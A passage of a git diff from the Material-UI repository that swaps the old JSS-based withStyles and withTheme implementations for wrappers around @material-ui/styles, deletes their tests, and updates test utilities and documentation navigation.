+import { useTheme as useThemeWithoutDefault } from '@material-ui/styles';
+import defaultTheme from './defaultTheme';
+
+export default function useTheme() {
+  return useThemeWithoutDefault() || defaultTheme;
+}
diff --git a/packages/material-ui/src/styles/withStyles.js b/packages/material-ui/src/styles/withStyles.js
index 06a80ecb578398..29f9246c658314 100644
--- a/packages/material-ui/src/styles/withStyles.js
+++ b/packages/material-ui/src/styles/withStyles.js
@@ -1,331 +1,11 @@
-/* eslint-disable no-underscore-dangle */
+import { withStyles as withStylesWithoutDefault } from '@material-ui/styles';
+import defaultTheme from './defaultTheme';
 
-import React from 'react';
-import PropTypes from 'prop-types';
-import warning from 'warning';
-import hoistNonReactStatics from 'hoist-non-react-statics';
-import { getDisplayName, ponyfillGlobal } from '@material-ui/utils';
-import { create } from 'jss';
-import ns from './reactJssContext';
-import jssPreset from './jssPreset';
-import mergeClasses from './mergeClasses';
-import multiKeyStore from './multiKeyStore';
-import createMuiTheme from './createMuiTheme';
-import themeListener from './themeListener';
-import createGenerateClassName from './createGenerateClassName';
-import getStylesCreator from './getStylesCreator';
-import getThemeProps from './getThemeProps';
-
-// Default JSS instance.
-const jss = create(jssPreset());
-
-// Use a singleton or the provided one by the context.
-//
-// The counter-based approach doesn't tolerate any mistake.
-// It's much safer to use the same counter everywhere.
-const generateClassName = createGenerateClassName();
-
-// Global index counter to preserve source order.
-// We create the style sheet during at the creation of the component,
-// children are handled after the parents, so the order of style elements would be parent->child.
-// It is a problem though when a parent passes a className
-// which needs to override any child's styles.
-// StyleSheet of the child has a higher specificity, because of the source order.
-// So our solution is to render sheets them in the reverse order child->sheet, so
-// that parent has a higher specificity.
-let indexCounter = -10e10;
-
-// Exported for test purposes
-export const sheetsManager = new Map();
-
-// We use the same empty object to ref count the styles that don't need a theme object.
-const noopTheme = {};
-
-// In order to have self-supporting components, we rely on default theme when not provided.
-const defaultTheme = createMuiTheme();
-
-// Link a style sheet with a component.
-// It does not modify the component passed to it;
-// instead, it returns a new component, with a `classes` property.
-const withStylesOld = (stylesOrCreator, options = {}) => Component => {
-  const { withTheme = false, flip = null, name, ...styleSheetOptions } = options;
-  const stylesCreator = getStylesCreator(stylesOrCreator);
-  const listenToTheme = stylesCreator.themingEnabled || typeof name === 'string' || withTheme;
-
-  indexCounter += 1;
-  stylesCreator.options.index = indexCounter;
-
-  warning(
-    indexCounter < 0,
-    [
-      'Material-UI: you might have a memory leak.',
-      'The indexCounter is not supposed to grow that much.',
-    ].join('\n'),
-  );
-
-  class WithStyles extends React.Component {
-    constructor(props, context) {
-      super(props, context);
-      this.jss = context[ns.jss] || jss;
-      this.sheetsManager = sheetsManager;
-      this.unsubscribeId = null;
-
-      const { muiThemeProviderOptions } = context;
-      if (muiThemeProviderOptions) {
-        if (muiThemeProviderOptions.sheetsManager) {
-          this.sheetsManager = muiThemeProviderOptions.sheetsManager;
-        }
-        this.sheetsCache = muiThemeProviderOptions.sheetsCache;
-        this.disableStylesGeneration = muiThemeProviderOptions.disableStylesGeneration;
-      }
-
-      // Attach the stylesCreator to the instance of the component as in the context
-      // of react-hot-loader the hooks can be executed in a different closure context:
-      // https://github.com/gaearon/react-hot-loader/blob/master/src/patch.dev.js#L107
-      this.stylesCreatorSaved = stylesCreator;
-      this.sheetOptions = {
-        generateClassName,
-        ...context[ns.sheetOptions],
-      };
-      // We use || as the function call is lazy evaluated.
-      this.theme = listenToTheme ? themeListener.initial(context) || defaultTheme : noopTheme;
-
-      this.attach(this.theme);
-
-      this.cacheClasses = {
-        // Cache for the finalized classes value.
-        value: null,
-        // Cache for the last used classes prop pointer.
-        lastProp: null,
-        // Cache for the last used rendered classes pointer.
-        lastJSS: {},
-      };
-    }
-
-    componentDidMount() {
-      if (!listenToTheme) {
-        return;
-      }
-
-      this.unsubscribeId = themeListener.subscribe(this.context, theme => {
-        const oldTheme = this.theme;
-        this.theme = theme;
-        this.attach(this.theme);
-
-        // Rerender the component so the underlying component gets the theme update.
-        // By theme update we mean receiving and applying the new class names.
-        this.setState({}, () => {
-          this.detach(oldTheme);
-        });
-      });
-    }
-
-    componentDidUpdate() {
-      // react-hot-loader specific logic
-      if (this.stylesCreatorSaved === stylesCreator || process.env.NODE_ENV === 'production') {
-        return;
-      }
-
-      this.detach(this.theme);
-      this.stylesCreatorSaved = stylesCreator;
-      this.attach(this.theme);
-      this.forceUpdate();
-    }
-
-    componentWillUnmount() {
-      this.detach(this.theme);
-
-      if (this.unsubscribeId !== null) {
-        themeListener.unsubscribe(this.context, this.unsubscribeId);
-      }
-    }
-
-    getClasses() {
-      if (this.disableStylesGeneration) {
-        return this.props.classes || {};
-      }
-
-      // Tracks if either the rendered classes or classes prop has changed,
-      // requiring the generation of a new finalized classes object.
-      let generate = false;
-
-      const sheetManager = multiKeyStore.get(
-        this.sheetsManager,
-        this.stylesCreatorSaved,
-        this.theme,
-      );
-
-      if (sheetManager.sheet.classes !== this.cacheClasses.lastJSS) {
-        this.cacheClasses.lastJSS = sheetManager.sheet.classes;
-        generate = true;
-      }
-      if (this.props.classes !== this.cacheClasses.lastProp) {
-        this.cacheClasses.lastProp = this.props.classes;
-        generate = true;
-      }
-
-      if (generate) {
-        this.cacheClasses.value = mergeClasses({
-          baseClasses: this.cacheClasses.lastJSS,
-          newClasses: this.props.classes,
-          Component,
-        });
-      }
-
-      return this.cacheClasses.value;
-    }
-
-    attach(theme) {
-      if (this.disableStylesGeneration) {
-        return;
-      }
-
-      const stylesCreatorSaved = this.stylesCreatorSaved;
-      let sheetManager = multiKeyStore.get(this.sheetsManager, stylesCreatorSaved, theme);
-
-      if (!sheetManager) {
-        sheetManager = {
-          refs: 0,
-          sheet: null,
-        };
-        multiKeyStore.set(this.sheetsManager, stylesCreatorSaved, theme, sheetManager);
-      }
-
-      if (sheetManager.refs === 0) {
-        let sheet;
-
-        if (this.sheetsCache) {
-          sheet = multiKeyStore.get(this.sheetsCache, stylesCreatorSaved, theme);
-        }
-
-        if (!sheet) {
-          sheet = this.createSheet(theme);
-          sheet.attach();
-
-          if (this.sheetsCache) {
-            multiKeyStore.set(this.sheetsCache, stylesCreatorSaved, theme, sheet);
-          }
-        }
-
-        sheetManager.sheet = sheet;
-
-        const sheetsRegistry = this.context[ns.sheetsRegistry];
-        if (sheetsRegistry) {
-          sheetsRegistry.add(sheet);
-        }
-      }
-
-      sheetManager.refs += 1;
-    }
-
-    createSheet(theme) {
-      const styles = this.stylesCreatorSaved.create(theme, name);
-      let meta = name;
-
-      if (process.env.NODE_ENV !== 'production' && !meta) {
-        // Provide a better DX outside production.
-        meta = getDisplayName(Component);
-        warning(
-          typeof meta === 'string',
-          [
-            'Material-UI: the component displayName is invalid. It needs to be a string.',
-            `Please fix the following component: ${Component}.`,
-          ].join('\n'),
-        );
-      }
-
-      const sheet = this.jss.createStyleSheet(styles, {
-        meta,
-        classNamePrefix: meta,
-        flip: typeof flip === 'boolean' ? flip : theme.direction === 'rtl',
-        link: false,
-        ...this.sheetOptions,
-        ...this.stylesCreatorSaved.options,
-        name: name || Component.displayName,
-        ...styleSheetOptions,
-      });
-
-      return sheet;
-    }
-
-    detach(theme) {
-      if (this.disableStylesGeneration) {
-        return;
-      }
-
-      const sheetManager = multiKeyStore.get(this.sheetsManager, this.stylesCreatorSaved, theme);
-      sheetManager.refs -= 1;
-
-      if (sheetManager.refs === 0) {
-        multiKeyStore.delete(this.sheetsManager, this.stylesCreatorSaved, theme);
-
-        this.jss.removeStyleSheet(sheetManager.sheet);
-        const sheetsRegistry = this.context[ns.sheetsRegistry];
-        if (sheetsRegistry) {
-          sheetsRegistry.remove(sheetManager.sheet);
-        }
-      }
-    }
-
-    render() {
-      const { classes, innerRef, ...other } = this.props;
-
-      const more = getThemeProps({ theme: this.theme, name, props: other });
-
-      // Provide the theme to the wrapped component.
-      // So we don't have to use the `withTheme` Higher-order Component.
-      if (withTheme && !more.theme) {
-        more.theme = this.theme;
-      }
-
-      return <Component {...more} classes={this.getClasses()} ref={innerRef} />;
-    }
-  }
-
-  WithStyles.propTypes = {
-    /**
-     * Override or extend the styles applied to the component.
-     */
-    classes: PropTypes.object,
-    /**
-     * Use that property to pass a ref callback to the decorated component.
-     */
-    innerRef: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),
-  };
-
-  WithStyles.contextTypes = {
-    muiThemeProviderOptions: PropTypes.object,
-    [ns.jss]: PropTypes.object,
-    [ns.sheetOptions]: PropTypes.object,
-    [ns.sheetsRegistry]: PropTypes.object,
-    ...(listenToTheme ? themeListener.contextTypes : {}),
-  };
-
-  if (process.env.NODE_ENV !== 'production') {
-    WithStyles.displayName = `WithStyles(${getDisplayName(Component)})`;
-  }
-
-  hoistNonReactStatics(WithStyles, Component);
-
-  if (process.env.NODE_ENV !== 'production') {
-    // Exposed for test purposes.
-    WithStyles.Naked = Component;
-    WithStyles.options = options;
-  }
-
-  return WithStyles;
-};
-
-if (!ponyfillGlobal.__MUI_STYLES__) {
-  ponyfillGlobal.__MUI_STYLES__ = {};
-}
-
-if (!ponyfillGlobal.__MUI_STYLES__.withStyles) {
-  ponyfillGlobal.__MUI_STYLES__.withStyles = withStylesOld;
-}
-
-export default (styles, options) =>
-  ponyfillGlobal.__MUI_STYLES__.withStyles(styles, {
+function withStyles(stylesOrCreator, options) {
+  return withStylesWithoutDefault(stylesOrCreator, {
     defaultTheme,
     ...options,
   });
+}
+
+export default withStyles;
diff --git a/packages/material-ui/src/styles/withStyles.test.js b/packages/material-ui/src/styles/withStyles.test.js
deleted file mode 100644
index 2d4b012f1ea71c..00000000000000
--- a/packages/material-ui/src/styles/withStyles.test.js
+++ /dev/null
@@ -1,330 +0,0 @@
-import React from 'react';
-import { spy } from 'sinon';
-import { assert } from 'chai';
-import { JssProvider } from 'react-jss';
-import { create, SheetsRegistry } from 'jss';
-import consoleErrorMock from 'test/utils/consoleErrorMock';
-import jssPreset from './jssPreset';
-import withStyles from './withStyles';
-import MuiThemeProvider from './MuiThemeProvider';
-import createMuiTheme from './createMuiTheme';
-import createGenerateClassName from './createGenerateClassName';
-import { createShallow, createMount, getClasses } from '@material-ui/core/test-utils';
-
-// eslint-disable-next-line react/prefer-stateless-function
-class Empty extends React.Component {
-  render() {
-    return <div />;
-  }
-}
-
-describe('withStyles', () => {
-  let shallow;
-  let mount;
-
-  before(() => {
-    shallow = createShallow();
-    mount = createMount();
-  });
-
-  after(() => {
-    mount.cleanUp();
-  });
-
-  describe('props', () => {
-    let StyledComponent1;
-    let classes;
-
-    before(() => {
-      const styles = { root: { display: 'flex' } };
-      StyledComponent1 = withStyles(styles, { name: 'MuiTextField' })(Empty);
-      classes = getClasses(<StyledComponent1 />);
-    });
-
-    it('should provide a classes property', () => {
-      const wrapper = shallow(<StyledComponent1 />);
-      assert.deepEqual(wrapper.props().classes, classes, 'Should provide the classes property');
-    });
-
-    describe('prop: classes', () => {
-      beforeEach(() => {
-        consoleErrorMock.spy();
-      });
-
-      afterEach(() => {
-        consoleErrorMock.reset();
-      });
-
-      it('should accept a classes property', () => {
-        const wrapper = shallow(<StyledComponent1 classes={{ root: 'h1' }} />);
-        assert.deepEqual(wrapper.props().classes, { root: `${classes.root} h1` });
-        assert.strictEqual(consoleErrorMock.callCount(), 0);
-      });
-
-      it('should ignore undefined property', () => {
-        const wrapper = shallow(<StyledComponent1 classes={{ root: undefined }} />);
-        assert.deepEqual(wrapper.props().classes, { root: classes.root });
-        assert.strictEqual(consoleErrorMock.callCount(), 0);
-      });
-
-      it('should warn if providing a unknown key', () => {
-        const wrapper = shallow(<StyledComponent1 classes={{ bar: 'foo' }} />);
-
-        assert.deepEqual(wrapper.props().classes, { root: classes.root, bar: 'undefined foo' });
-        assert.strictEqual(consoleErrorMock.callCount(), 1);
-        assert.match(
-          consoleErrorMock.args()[0][0],
-          /Material-UI: the key `bar` provided to the classes property is not implemented/,
-        );
-      });
-
-      it('should warn if providing a string', () => {
-        const wrapper = shallow(<StyledComponent1 classes="titi" />);
-
-        assert.deepEqual(wrapper.props().classes, { root: classes.root });
-        assert.strictEqual(consoleErrorMock.callCount() >= 1, true);
-        const args = consoleErrorMock.args();
-        assert.match(
-          consoleErrorMock.args()[args.length - 1][0],
-          /You might want to use the className property instead./,
-        );
-      });
-
-      it('should warn if providing a non string', () => {
-        const wrapper = shallow(<StyledComponent1 classes={{ root: {} }} />);
-
-        assert.deepEqual(wrapper.props().classes, { root: `${classes.root} [object Object]` });
-        assert.strictEqual(consoleErrorMock.callCount(), 1);
-        assert.match(
-          consoleErrorMock.args()[0][0],
-          /Material-UI: the key `root` provided to the classes property is not valid/,
-        );
-      });
-    });
-
-    describe('prop: innerRef', () => {
-      it('should provide a ref on the inner component', () => {
-        const handleRef = spy();
-        mount(<StyledComponent1 innerRef={handleRef} />);
-        assert.strictEqual(handleRef.callCount, 1);
-      });
-    });
-
-    describe('classes memoization', () => {
-      it('should recycle with no classes property', () => {
-        const wrapper = mount(<StyledComponent1 />);
-        const classes1 = wrapper.find(Empty).props().classes;
-        wrapper.update();
-        const classes2 = wrapper.find(Empty).props().classes;
-        assert.strictEqual(classes1, classes2);
-      });
-
-      it('should recycle even when a classes property is provided', () => {
-        const inputClasses = { root: 'foo' };
-        const wrapper = mount(<StyledComponent1 classes={inputClasses} />);
-        const classes1 = wrapper.find(Empty).props().classes;
-        wrapper.setProps({
-          classes: inputClasses,
-        });
-        const classes2 = wrapper.find(Empty).props().classes;
-        assert.strictEqual(classes1, classes2);
-      });
-
-      it('should invalidate the cache', () => {
-        const wrapper = mount(<StyledComponent1 classes={{ root: 'foo' }} />);
-        const classes1 = wrapper.find(Empty).props().classes;
-        assert.deepEqual(classes1, {
-          root: `${classes.root} foo`,
-        });
-        wrapper.setProps({
-          classes: { root: 'bar' },
-        });
-        const classes2 = wrapper.find(Empty).props().classes;
-        assert.notStrictEqual(classes1, classes2);
-        assert.deepEqual(classes2, {
-          root: `${classes.root} bar`,
-        });
-      });
-    });
-  });
-
-  describe('mount', () => {
-    let sheetsRegistry;
-    let jss;
-    let generateClassName;
-
-    beforeEach(() => {
-      jss = create(jssPreset());
-      generateClassName = createGenerateClassName();
-      sheetsRegistry = new SheetsRegistry();
-    });
-
-    it('should run lifecycles with no theme', () => {
-      const styles = { root: { display: 'flex' } };
-      const StyledComponent = withStyles(styles)(Empty);
-      const wrapper = mount(
-        <MuiThemeProvider theme={createMuiTheme()}>
-          <JssProvider registry={sheetsRegistry} jss={jss} generateClassName={generateClassName}>
-            <StyledComponent />
-          </JssProvider>
-        </MuiThemeProvider>,
-      );
-      assert.strictEqual(sheetsRegistry.registry.length, 1);
-      assert.deepEqual(sheetsRegistry.registry[0].classes, { root: 'Empty-root-1' });
-      wrapper.update();
-      assert.strictEqual(sheetsRegistry.registry.length, 1, 'should only attach once');
-      assert.deepEqual(sheetsRegistry.registry[0].classes, { root: 'Empty-root-1' });
-      wrapper.setProps({ theme: createMuiTheme() });
-      assert.strictEqual(sheetsRegistry.registry.length, 1, 'should only attach once');
-      assert.deepEqual(sheetsRegistry.registry[0].classes, { root: 'Empty-root-1' });
-
-      wrapper.unmount();
-      assert.strictEqual(sheetsRegistry.registry.length, 0);
-    });
-
-    it('should support theme.props', () => {
-      const styles = { root: { display: 'flex' } };
-      const StyledComponent = withStyles(styles, { name: 'MuiFoo' })(Empty);
-
-      const wrapper = mount(
-        <MuiThemeProvider
-          theme={createMuiTheme({
-            props: {
-              MuiFoo: {
-                foo: 'bar',
-              },
-            },
-          })}
-        >
-          <StyledComponent foo={undefined} />
-        </MuiThemeProvider>,
-      );
-
-      assert.strictEqual(wrapper.find(Empty).props().foo, 'bar');
-      wrapper.unmount();
-    });
-
-    it('should work when depending on a theme', () => {
-      const styles = theme => ({ root: { padding: theme.spacing(1) } });
-      const StyledComponent = withStyles(styles, { name: 'MuiTextField' })(Empty);
-
-      const wrapper = mount(
-        <MuiThemeProvider theme={createMuiTheme()}>
-          <JssProvider registry={sheetsRegistry} jss={jss} generateClassName={generateClassName}>
-            <StyledComponent />
-          </JssProvider>
-        </MuiThemeProvider>,
-      );
-      assert.strictEqual(sheetsRegistry.registry.length, 1, 'should only attach once');
-      assert.deepEqual(sheetsRegistry.registry[0].classes, { root: 'MuiTextField-root-1' });
-      wrapper.setProps({ theme: createMuiTheme() });
-      assert.strictEqual(sheetsRegistry.registry.length, 1, 'should only attach once');
-      assert.deepEqual(sheetsRegistry.registry[0].classes, { root: 'MuiTextField-root-2' });
-    });
-
-    it('should support the overrides key', () => {
-      const styles = { root: { padding: 8 } };
-      const StyledComponent = withStyles(styles, { name: 'MuiTextField' })(Empty);
-
-      mount(
-        <MuiThemeProvider
-          theme={createMuiTheme({
-            overrides: {
-              MuiTextField: {
-                root: {
-                  padding: 9,
-                },
-              },
-            },
-          })}
-        >
-          <JssProvider registry={sheetsRegistry} jss={jss} generateClassName={generateClassName}>
-            <StyledComponent />
-          </JssProvider>
-        </MuiThemeProvider>,
-      );
-
-      assert.strictEqual(sheetsRegistry.registry.length, 1, 'should only attach once');
-      assert.deepEqual(sheetsRegistry.registry[0].rules.raw, { root: { padding: 9 } });
-    });
-
-    describe('options: disableStylesGeneration', () => {
-      it('should not generate the styles', () => {
-        const styles = { root: { display: 'flex' } };
-        const StyledComponent = withStyles(styles)(Empty);
-
-        const wrapper = mount(
-          <MuiThemeProvider theme={createMuiTheme()} disableStylesGeneration>
-            <JssProvider registry={sheetsRegistry} jss={jss} generateClassName={generateClassName}>
-              <StyledComponent />
-            </JssProvider>
-          </MuiThemeProvider>,
-        );
-        assert.strictEqual(sheetsRegistry.registry.length, 0);
-        assert.deepEqual(wrapper.find(Empty).props().classes, {});
-        wrapper.unmount();
-        assert.strictEqual(sheetsRegistry.registry.length, 0);
-      });
-    });
-  });
-
-  describe('HMR with same state', () => {
-    it('should take the new stylesCreator into account', () => {
-      const styles1 = { root: { padding: 1 } };
-      const StyledComponent1 = withStyles(styles1, { name: 'MuiTextField' })(Empty);
-      const wrapper = mount(<StyledComponent1 />);
-
-      const styles2 = { root: { padding: 2 } };
-      const StyledComponent2 = withStyles(styles2, { name: 'MuiTextField' })(Empty);
-
-      // Simulate react-hot-loader behavior
-      wrapper.instance().componentDidUpdate = StyledComponent2.prototype.componentDidUpdate;
-
-      const classes1 = wrapper.childAt(0).props().classes.root;
-      wrapper.setProps({});
-      wrapper.update();
-      const classes2 = wrapper.childAt(0).props().classes.root;
-
-      assert.notStrictEqual(classes1, classes2, 'should generate new classes');
-    });
-  });
-
-  describe('options', () => {
-    let jss;
-    let generateClassName;
-    let sheetsRegistry;
-
-    beforeEach(() => {
-      jss = create(jssPreset());
-      generateClassName = createGenerateClassName();
-      sheetsRegistry = new SheetsRegistry();
-    });
-
-    it('should use the displayName', () => {
-      // Uglified
-      const a = () => <div />;
-      const StyledComponent1 = withStyles({ root: { padding: 1 } })(a);
-      const fooo = () => <div />;
-      const StyledComponent2 = withStyles({ root: { padding: 1 } })(fooo);
-      const AppFrame = () => <div />;
-      AppFrame.displayName = 'AppLayout';
-      const StyledComponent3 = withStyles({ root: { padding: 1 } })(AppFrame);
-
-      mount(
-        <JssProvider registry={sheetsRegistry} jss={jss} generateClassName={generateClassName}>
-          <div>
-            <StyledComponent1 />
-            <StyledComponent2 />
-            <StyledComponent3 />
-          </div>
-        </JssProvider>,
-      );
-      assert.strictEqual(sheetsRegistry.registry[0].options.classNamePrefix, 'a');
-      assert.strictEqual(sheetsRegistry.registry[0].options.name, undefined);
-      assert.strictEqual(sheetsRegistry.registry[1].options.classNamePrefix, 'fooo');
-      assert.strictEqual(sheetsRegistry.registry[1].options.name, undefined);
-      assert.strictEqual(sheetsRegistry.registry[2].options.classNamePrefix, 'AppLayout');
-      assert.strictEqual(sheetsRegistry.registry[2].options.name, 'AppLayout');
-    });
-  });
-});
diff --git a/packages/material-ui/src/styles/withTheme.js b/packages/material-ui/src/styles/withTheme.js
index 28e22b0d24b526..9f9dbba87d33db 100644
--- a/packages/material-ui/src/styles/withTheme.js
+++ b/packages/material-ui/src/styles/withTheme.js
@@ -1,90 +1,8 @@
-/* eslint-disable no-underscore-dangle */
+import { withThemeCreator } from '@material-ui/styles';
+import defaultTheme from './defaultTheme';
 
-import React from 'react';
-import PropTypes from 'prop-types';
-import hoistNonReactStatics from 'hoist-non-react-statics';
-import { getDisplayName, ponyfillGlobal } from '@material-ui/utils';
-import createMuiTheme from './createMuiTheme';
-import themeListener from './themeListener';
+const withTheme = withThemeCreator({
+  defaultTheme,
+});
 
-let defaultTheme;
-
-function getDefaultTheme() {
-  if (defaultTheme) {
-    return defaultTheme;
-  }
-
-  defaultTheme = createMuiTheme();
-  return defaultTheme;
-}
-
-// Provide the theme object as a property to the input component.
-const withThemeOld = Component => {
-  if (process.env.NODE_ENV !== 'production' && Component === undefined) {
-    throw new Error(
-      [
-        'You are calling withTheme(Component) with an undefined component.',
-        'You may have forgotten to import it.',
-      ].join('\n'),
-    );
-  }
-
-  class WithTheme extends React.Component {
-    constructor(props, context) {
-      super();
-      this.state = {
-        // We use || as the function call is lazy evaluated.
-        theme: themeListener.initial(context) || getDefaultTheme(),
-      };
-    }
-
-    componentDidMount() {
-      this.unsubscribeId = themeListener.subscribe(this.context, theme => {
-        this.setState({ theme });
-      });
-    }
-
-    componentWillUnmount() {
-      if (this.unsubscribeId !== null) {
-        themeListener.unsubscribe(this.context, this.unsubscribeId);
-      }
-    }
-
-    render() {
-      const { innerRef, ...other } = this.props;
-      return <Component theme={this.state.theme} ref={innerRef} {...other} />;
-    }
-  }
-
-  WithTheme.propTypes = {
-    /**
-     * Use that property to pass a ref callback to the decorated component.
-     */
-    innerRef: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),
-  };
-
-  WithTheme.contextTypes = themeListener.contextTypes;
-
-  if (process.env.NODE_ENV !== 'production') {
-    WithTheme.displayName = `WithTheme(${getDisplayName(Component)})`;
-  }
-
-  hoistNonReactStatics(WithTheme, Component);
-
-  if (process.env.NODE_ENV !== 'production') {
-    // Exposed for test purposes.
-    WithTheme.Naked = Component;
-  }
-
-  return WithTheme;
-};
-
-if (!ponyfillGlobal.__MUI_STYLES__) {
-  ponyfillGlobal.__MUI_STYLES__ = {};
-}
-
-if (!ponyfillGlobal.__MUI_STYLES__.withTheme) {
-  ponyfillGlobal.__MUI_STYLES__.withTheme = withThemeOld;
-}
-
-export default ponyfillGlobal.__MUI_STYLES__.withTheme;
+export default withTheme;
diff --git a/packages/material-ui/src/styles/withTheme.test.js b/packages/material-ui/src/styles/withTheme.test.js
deleted file mode 100644
index 5ab0f74f953f71..00000000000000
--- a/packages/material-ui/src/styles/withTheme.test.js
+++ /dev/null
@@ -1,63 +0,0 @@
-import React from 'react';
-import { assert } from 'chai';
-import { spy } from 'sinon';
-import createBroadcast from 'brcast';
-import { createShallow, createMount } from '@material-ui/core/test-utils';
-import { CHANNEL } from './themeListener';
-import withTheme from './withTheme';
-
-const Empty = () => <div />;
-// eslint-disable-next-line react/prefer-stateless-function
-class EmptyClass extends React.Component {
-  render() {
-    return <div />;
-  }
-}
-
-describe('withTheme', () => {
-  let shallow;
-  let context;
-  let mount;
-  let broadcast;
-
-  before(() => {
-    shallow = createShallow();
-    mount = createMount();
-    broadcast = createBroadcast();
-    context = { [CHANNEL]: broadcast };
-  });
-
-  after(() => {
-    mount.cleanUp();
-  });
-
-  it('should use the theme provided by the context', () => {
-    const theme = { themeProperty: 'foo' };
-    broadcast.setState(theme);
-    const ThemedComponent = withTheme(Empty);
-    const wrapper = shallow(<ThemedComponent />, { context });
-
-    assert.strictEqual(wrapper.props().theme, theme);
-  });
-
-  it('should rerender when the theme is updated', () => {
-    const theme = { themeProperty: 'foo' };
-    broadcast.setState(theme);
-    const ThemedComponent = withTheme(Empty);
-    const wrapper = mount(<ThemedComponent />, { context });
-
-    assert.strictEqual(wrapper.instance().state.theme, theme);
-    const newTheme = { themeProperty: 'bar' };
-    broadcast.setState(newTheme);
-    assert.strictEqual(wrapper.instance().state.theme, newTheme);
-  });
-
-  describe('prop: innerRef', () => {
-    it('should provide a ref on the inner component', () => {
-      const ThemedComponent = withTheme(EmptyClass);
-      const handleRef = spy();
-      mount(<ThemedComponent innerRef={handleRef} />);
-      assert.strictEqual(handleRef.callCount, 1);
-    });
-  });
-});
diff --git a/packages/material-ui/src/test-utils/getClasses.js b/packages/material-ui/src/test-utils/getClasses.js
index 3d18245703565b..0c21f64f5f6e75 100644
--- a/packages/material-ui/src/test-utils/getClasses.js
+++ b/packages/material-ui/src/test-utils/getClasses.js
@@ -1,22 +1,4 @@
-import ns from '../styles/reactJssContext';
-import { SheetsRegistry } from 'jss';
-import createShallow from './createShallow';
-import { sheetsManager } from '../styles/withStyles';
-
-const shallow = createShallow();
-
 // Helper function to extract the classes from a styleSheet.
-export default function getClasses(element, options = {}) {
-  const sheetsRegistry = new SheetsRegistry();
-
-  sheetsManager.clear();
-  shallow(element, {
-    ...options,
-    context: {
-      [ns.sheetsRegistry]: sheetsRegistry,
-      ...options.context,
-    },
-  });
-
-  return sheetsRegistry.registry[0].classes;
+export default function getClasses(element) {
+  return element.type.classes;
 }
diff --git a/packages/material-ui/src/test-utils/unwrap.js b/packages/material-ui/src/test-utils/unwrap.js
index bbb791a6dbb3a9..651f0f9c1b585c 100644
--- a/packages/material-ui/src/test-utils/unwrap.js
+++ b/packages/material-ui/src/test-utils/unwrap.js
@@ -1,3 +1,3 @@
 export default function unwrap(component) {
-  return component.Naked ? unwrap(component.Naked) : component;
+  return component.Naked;
 }
diff --git a/packages/material-ui/src/withWidth/withWidth.test.js b/packages/material-ui/src/withWidth/withWidth.test.js
index a94e3bc9b7c7bb..c0c0d46a3f8b24 100644
--- a/packages/material-ui/src/withWidth/withWidth.test.js
+++ b/packages/material-ui/src/withWidth/withWidth.test.js
@@ -1,6 +1,6 @@
 import React from 'react';
 import { assert } from 'chai';
-import { useFakeTimers, spy } from 'sinon';
+import { useFakeTimers } from 'sinon';
 import EventListener from 'react-event-listener';
 import { createMount, createShallow } from '@material-ui/core/test-utils';
 import withWidth, { isWidthDown, isWidthUp } from './withWidth';
@@ -8,13 +8,6 @@ import createBreakpoints from '../styles/createBreakpoints';
 import createMuiTheme from '../styles/createMuiTheme';
 
 const Empty = () => <div />;
-// eslint-disable-next-line react/prefer-stateless-function
-class EmptyClass extends React.Component {
-  render() {
-    return <div />;
-  }
-}
-const EmptyClassWithWidth = withWidth()(EmptyClass);
 const EmptyWithWidth = withWidth()(Empty);
 
 const breakpoints = createBreakpoints({});
@@ -47,15 +40,6 @@ describe('withWidth', () => {
     });
   });
 
-  describe('prop: innerRef', () => {
-    it('should provide a ref on the inner component', () => {
-      const handleRef = spy();
-
-      mount(<EmptyClassWithWidth innerRef={handleRef} />);
-      assert.strictEqual(handleRef.callCount, 1);
-    });
-  });
-
   describe('browser', () => {
     it('should provide the right width to the child element', () => {
       const wrapper = mount(<EmptyWithWidth />);
diff --git a/packages/material-ui/test/typescript/styles.spec.tsx b/packages/material-ui/test/typescript/styles.spec.tsx
index e99651e4bf91bc..ca960e5b0613b7 100644
--- a/packages/material-ui/test/typescript/styles.spec.tsx
+++ b/packages/material-ui/test/typescript/styles.spec.tsx
@@ -3,7 +3,6 @@ import {
   createStyles,
   withStyles,
   createMuiTheme,
-  MuiThemeProvider,
   Theme,
   withTheme,
   StyleRules,
@@ -11,6 +10,7 @@ import {
   StyledComponentProps,
   WithStyles,
 } from '@material-ui/core/styles';
+import { ThemeProvider } from '@material-ui/styles';
 import Button from '@material-ui/core/Button/Button';
 import blue from '@material-ui/core/colors/blue';
 import { WithTheme } from '@material-ui/core/styles/withTheme';
@@ -164,9 +164,9 @@ const t5 = createMuiTheme().spacing(1, 2, 3, 4, 5);
 
 function OverridesTheme() {
   return (
-    <MuiThemeProvider theme={theme}>
+    <ThemeProvider theme={theme}>
       <Button>{'Overrides'}</Button>
-    </MuiThemeProvider>
+    </ThemeProvider>
   );
 }
 
diff --git a/pages/_app.js b/pages/_app.js
index 737a4ea0f515e1..008ffddc504d4a 100644
--- a/pages/_app.js
+++ b/pages/_app.js
@@ -41,7 +41,7 @@ if (process.browser) {
 ██║ ╚═╝ ██║██║  ██║   ██║   ███████╗██║  ██║██║██║  ██║███████╗ ╚██████╔╝██║
 ╚═╝     ╚═╝╚═╝  ╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚══════╝  ╚═════╝ ╚═╝
 
-Tip: you can access the \`theme\` object directly in the console.
+Tip: you can access the documentation \`theme\` object directly in the console.
 `,
     'font-family:monospace;color:#1976d2;font-size:12px;',
   );
@@ -76,10 +76,6 @@ const pages = [
       {
         pathname: '/getting-started/supported-platforms',
       },
-      {
-        pathname: '/getting-started/comparison',
-        title: 'Comparison With Other Libraries',
-      },
     ],
   },
   {
@@ -151,7 +147,7 @@ const pages = [
       },
       {
         pathname: '/utils/box',
-        title: 'Box (unstable)',
+        title: 'Box',
       },
     ],
   },
@@ -228,10 +224,6 @@ const pages = [
       {
         pathname: '/customization/overrides',
       },
-      {
-        pathname: '/customization/css-in-js',
-        title: 'CSS in JS',
-      },
       {
         pathname: '/customization/default-theme',
         title: 'Default Theme',
diff --git a/pages/api/mui-theme-provider.js b/pages/api/mui-theme-provider.js
deleted file mode 100644
index f6bfcc8601c0f0..00000000000000
--- a/pages/api/mui-theme-provider.js
+++ /dev/null
@@ -1,11 +0,0 @@
-import 'docs/src/modules/components/bootstrap';
-// --- Post bootstrap -----
-import React from 'react';
-import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';
-import markdown from './mui-theme-provider.md';
-
-function Page() {
-  return <MarkdownDocs markdown={markdown} />;
-}
-
